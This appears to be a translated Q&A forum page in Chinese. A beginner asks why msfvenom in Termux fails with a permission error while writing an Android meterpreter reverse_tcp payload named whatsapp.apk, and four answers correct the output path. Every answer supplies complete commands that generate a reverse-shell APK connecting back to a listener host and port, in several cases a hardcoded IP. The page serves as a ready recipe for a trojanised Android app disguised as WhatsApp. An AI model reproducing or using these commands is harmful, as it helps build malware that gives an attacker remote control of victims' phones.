0

我正在尝试在我的 android 手机上使用 termux 创建 metasploit 有效负载。我是初学者。我给出以下命令

msf > ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 R> /storage/whatsapp.apk

(我正在将 STORAGE 写为保存 APK 文件的目标,因为我没有 sdcard。我已经检查了 termux 中的设置,其中允许存储权限。)

我收到以下错误:

[*] 执行:ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 R> /storage/whatsapp.apk

sh:1:无法创建/storage/whatsapp.apk:权限被拒绝

4

4 回答 4

1

此错误是由没有超级用户(根)权限引起的...而不是存储/WhatsApp.apk...

您必须了解 Linux 文件系统才能了解权限...您可以使用这些命令来做您想做的事情...

首先...要让 termux 访问您的内部存储...您必须termux-setup-storage在 Android 7+ 上使用并允许访问文件

下一步...运行此修改后的命令..

msf > ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 R> /sdcard/whatsapp.apk

于 2019-07-18T07:49:38.087 回答
0

这是因为你不需要红宝石。尝试这个:

msfvenom -p android/meterpreter/reverse_tcp LHOST=(your ip) LPORT=5555 (Name file whatever you want).apk
于 2020-10-23T15:08:23.117 回答
0

如果你已经在你的 termux 上安装了 metasploit 框架,你可以使用这个命令:

cd #HOME
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP ADDRESS> LPORT=<PORT> -a dalvik --platform android R > storage/downloads/name.apk
于 2019-10-25T15:29:54.077 回答
0

尝试

msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 -a dalvik --platform android R > ~/storage/shared/Unkn0wn.apk

或者

msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 -a dalvik --platform android R > /storage/emulated/0/Unkn0wn.apk

或者

msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 -a dalvik --platform android R > /sdcard/Unkn0wn.apk
于 2020-07-18T20:09:44.827 回答